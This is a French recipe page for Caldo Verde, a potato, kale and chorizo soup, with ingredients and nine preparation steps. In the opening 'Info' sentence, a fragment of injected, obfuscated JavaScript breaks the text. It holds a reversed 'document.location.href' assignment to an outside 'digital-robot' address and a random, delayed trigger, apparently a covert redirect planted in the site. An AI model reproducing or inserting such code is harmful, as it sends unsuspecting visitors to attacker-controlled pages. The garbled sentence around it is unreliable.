Caldo Verde

2021-05-24

Info

Le chou kale se trouve en épicerie Portugaise tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout prêt à l’emploi. Les feuilles sont coupées en fines lamelles.

Ingrédients

  • Pour 4 personnes
  • 500 g de pommes de terre
  • 500 g de chou où chou kale
  • 6 tranches de chorizo
  • 1 oignon
  • 2 gousses d'ail
  • 1,5 litre d'eau froide
  • Sel

Préparation de la recette

Etape 1

INFO : Le chou kale se trouve en épicerie Portugaise tout prêt à l'emploi. Les feuilles sont coupées en fines lamelles.

Etape 2

Pelez, coupez en quatre l'oignon.

Etape 3

Pelez, coupez en deux les gousses d'ail.

Etape 4

Ôtez le germe.

Etape 5

Pelez, rincez coupez en cubes les pommes de terre et les sécher dans un torchon propre.

Etape 6

Faites les cuire dans une eau bouillante salée avec l'oignon, les gousses d'ail, et le chou kale.

Etape 7

A partir de l'ébullition faites cuire pendant 20 minutes environ.

Etape 8

Vérifiez la cuisson et mixez pour obtenir une purée.

Etape 9

Ajoutes un filet d'huile d'olive et dégustez

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